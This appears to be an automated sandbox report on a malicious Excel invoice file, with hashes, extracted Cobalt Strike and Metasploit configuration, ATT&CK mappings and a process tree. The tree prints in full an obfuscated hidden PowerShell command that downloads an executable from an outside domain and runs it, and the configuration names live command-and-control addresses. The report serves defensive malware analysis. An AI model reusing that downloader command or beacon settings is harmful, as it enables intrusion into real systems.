cobaltstrike | 0e37b2666933d637c97224ff505132118838c2889d1aa3ed385817badd17d1b2

General

Target

Invoice453891.xlsm
Size

86KB
MD5

9ef60e9f0364cfc381fe5c870e9e10f0
SHA1

67173558f554be3acd49292c4614aa5ee81ecfa3
SHA256

0e37b2666933d637c97224ff505132118838c2889d1aa3ed385817badd17d1b2
SHA512

3603ac6e154637d808ec254b5cbb23f97e994538a3a35305ec4ac9b1a0606717a8e4b45e59d8677753e1bacac45b79baa18fee428118b68b23bdc6fde559acf5

Score

10^/10

cobaltstrike metasploit 0 backdoor trojan

Malware Config

Extracted

Family

metasploit

Version

windows/download_exec

C2

http://5.8.18.118:45500/pSXA

Attributes

headers User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

Extracted

Family

cobaltstrike

Botnet

0

C2

http://5.8.18.118:45500/match

Attributes

access_type
512
host
5.8.18.118,/match
http_header1
AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2
AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1
GET
http_method2
POST
polling_time
60000
port_number
45500
sc_process32
%windir%\syswow64\rundll32.exe
sc_process64
%windir%\sysnative\rundll32.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnOM3nXx+7HBhkbDd+AwFrFisSunK999w2tM0uTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcPl18geU4f5JlSPXHwilbK4DFb/ePWyKFjhrA7emVRqhM21QMlo1ANsn14rY/RO2pzuft8P7TXoIjjI/B2GGVuzYNZX6X4I2EwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
4096
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/submit.php
user_agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUS)
watermark
0

Signatures

Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1960	1052	Cmd.exe	24

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	1736	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1764	JavaHelpApplication.exe

Loads dropped DLL 2 IoCs

pid	Process
1736	powershell.exe
1736	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1052	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1736	powershell.exe
1736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1736	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1052	EXCEL.EXE
1052	EXCEL.EXE
1052	EXCEL.EXE
1052	EXCEL.EXE
1052	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1052 wrote to memory of 1960	1052	EXCEL.EXE	26
PID 1052 wrote to memory of 1960	1052	EXCEL.EXE	26
PID 1052 wrote to memory of 1960	1052	EXCEL.EXE	26
PID 1052 wrote to memory of 1960	1052	EXCEL.EXE	26
PID 1960 wrote to memory of 1736	1960	Cmd.exe	28
PID 1960 wrote to memory of 1736	1960	Cmd.exe	28
PID 1960 wrote to memory of 1736	1960	Cmd.exe	28
PID 1960 wrote to memory of 1736	1960	Cmd.exe	28
PID 1736 wrote to memory of 1764	1736	powershell.exe	33
PID 1736 wrote to memory of 1764	1736	powershell.exe	33
PID 1736 wrote to memory of 1764	1736	powershell.exe	33
PID 1736 wrote to memory of 1764	1736	powershell.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Invoice453891.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1052
- C:\Windows\SysWOW64\Cmd.exe
  Cmd /c powershell -nop -w hidden Set-Item Variable:/HBl (New-Object Net.WebClient);SI Variable:6ik 'http://mw.theformangroup.com/yml.xml';Set-Variable 9ul 'C:\ProgramData\JavaHelpApplication.exe';(DIR Variable:\HBl).Value.DownloadFile((LS Variable:6ik).Value,(GV 9ul -Valu));Start-Process 'C:\ProgramData\JavaHelpApplication.exe'
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -w hidden Set-Item Variable:/HBl (New-Object Net.WebClient);SI Variable:6ik 'http://mw.theformangroup.com/yml.xml';Set-Variable 9ul 'C:\ProgramData\JavaHelpApplication.exe';(DIR Variable:\HBl).Value.DownloadFile((LS Variable:6ik).Value,(GV 9ul -Valu));Start-Process 'C:\ProgramData\JavaHelpApplication.exe'
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\ProgramData\JavaHelpApplication.exe
      "C:\ProgramData\JavaHelpApplication.exe"
      4⤵
      Executes dropped EXE
      PID:1764

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1052-60-0x000000002F411000-0x000000002F414000-memory.dmp

Filesize
12KB

Download
memory/1052-61-0x00000000711A1000-0x00000000711A3000-memory.dmp

Filesize
8KB

Download
memory/1052-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1052-101-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1736-67-0x0000000004930000-0x0000000004931000-memory.dmp

Filesize
4KB

Download
memory/1736-66-0x0000000002160000-0x0000000002161000-memory.dmp

Filesize
4KB

Download
memory/1736-69-0x00000000048F2000-0x00000000048F3000-memory.dmp

Filesize
4KB

Download
memory/1736-70-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1736-71-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1736-74-0x00000000055F0000-0x00000000055F1000-memory.dmp

Filesize
4KB

Download
memory/1736-79-0x0000000005750000-0x0000000005751000-memory.dmp

Filesize
4KB

Download
memory/1736-80-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1736-81-0x0000000006230000-0x0000000006231000-memory.dmp

Filesize
4KB

Download
memory/1736-88-0x0000000006200000-0x0000000006201000-memory.dmp

Filesize
4KB

Download
memory/1736-89-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/1736-68-0x00000000048F0000-0x00000000048F1000-memory.dmp

Filesize
4KB

Download
memory/1736-65-0x0000000075721000-0x0000000075723000-memory.dmp

Filesize
8KB

Download
memory/1764-95-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

Download
memory/1764-96-0x00000000003E0000-0x00000000003E6000-memory.dmp

Filesize
24KB

Download
memory/1764-97-0x0000000000400000-0x0000000000545000-memory.dmp

Filesize
1.3MB

Download
memory/1764-98-0x0000000001F00000-0x0000000001F01000-memory.dmp

Filesize
4KB

Download
memory/1764-100-0x0000000004280000-0x00000000042B5000-memory.dmp

Filesize
212KB

Download
memory/1764-99-0x0000000004940000-0x0000000004D40000-memory.dmp

Filesize
4.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads